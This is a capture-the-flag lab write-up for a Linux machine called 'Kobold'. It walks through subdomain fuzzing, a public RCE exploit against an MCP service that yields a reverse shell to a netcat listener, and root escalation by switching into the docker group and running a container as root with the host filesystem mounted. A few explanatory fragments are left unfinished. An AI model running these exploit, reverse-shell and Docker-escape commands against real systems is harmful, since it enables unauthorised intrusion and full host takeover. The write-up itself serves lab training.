Kobold is a Linux machine that focuses on web enumeration, subdomain discovery, and privilege escalation through a Docker misconfiguration. The critical path involves identifying group-based access to the Docker daemon and leveraging it to access the host filesystem.
Initial reconnaissance was performed using:
sudo nmap -sC -sV -Pn -oA nmap/kobold 10.10.10.10
22/tcp open ssh OpenSSH 9.6p1
80/tcp open http nginx
443/tcp open https nginx
3552/tcp open http Golang net/http
echo "10.10.10.10 kobold.htb" | sudo tee -a /etc/hosts
ffuf -u http://kobold.htb \
-H "Host: FUZZ.kobold.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
mcp.kobold.htb
bin.kobold.htb
From enumeration:
mcp.kobold.htb
This endpoint was identified as a backend service (likely Node.js / MCP-related service).
CVE-2026-23520
Exploit source:
https://github.com/cypher-21/CVE-2026-23520
This vulnerability allows:
Remote Command Execution (RCE) via the MCP service
In simple terms:
The exploit command:
python3 exploit.py -u https://mcp.kobold.htb --lhost <htb ip> --lport 6666
A reverse shell was obtained via exploitation of the MCP service.
Listener:
nc -lnvp 6666
Shell received:
/bin/sh: 0: can't access tty; job control turned off
$ whoami
ben
ben@kobold:/home$ cd ben
ben@kobold:~$ ls -la
-rw-r----- 1 root ben 33 Mar 23 04:39 user.txt
ben@kobold:~$ cat user.txt
id
Output:
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
The user ben belongs to the operator group.
ss -tulpn
Notable:
127.0.0.1:8080
127.0.0.1:6274
Relevant findings:
/privatebin-data/
/privatebin-data/certs/
/privatebin-data/data/
Files examined:
cert.pemkey.pemtraffic_limiter.phpsalt.phpAccessed via port forwarding:
socat tcp-listen:6969,fork TCP:127.0.0.1:8080
Not all writable files or internal services are exploitable. Focus should remain on privilege boundaries and execution context.
ls -la /var/run/docker.sock
Output:
srw-rw---- 1 root docker ...
cat /etc/passwd
Relevant:
alice → docker group
ben → operator group
Although ben is not in the docker group, the system allows:
newgrp docker
newgrp docker
id
Output:
groups=111(docker),37(operator),1001(ben)
docker ps
Output:
privatebin/nginx-fpm-alpine:2.0.2
docker run -v /:/hostfs --rm -it privatebin/nginx-fpm-alpine:2.0.2 chroot /hostfs sh
Result:
docker run --rm -it \
--entrypoint /bin/sh \
-v /:/hostfs \
privatebin/nginx-fpm-alpine:2.0.2
Inside container:
whoami → nobody
Attempt:
cd /hostfs/root → Permission denied
docker run --rm -it \
--user 0 \
--entrypoint /bin/sh \
-v /:/hostfs \
privatebin/nginx-fpm-alpine:2.0.2
whoami
root
cd /hostfs/root
ls
cat root.txt
The following operation was performed:
-v /:/hostfs
This mounts the entire host filesystem into the container.
Thus:
/hostfs/root → actual host root directory
Running the container as root (--user 0) allowed full access to these files.
ben
→ newgrp docker
→ docker access
→ run container as root
→ mount host filesystem
→ read /root/root.txt
If a user can control Docker, they effectively have root-level access.
Always check:
id
Groups can provide indirect privilege escalation paths.
Even if a user is not explicitly listed in a group, newgrp may allow switching.
Docker images may override commands. Always use:
--entrypoint
Containers do not always run as root. Explicitly specify:
--user 0
ls -la /var/run/docker.sock
docker ps
Try:
newgrp docker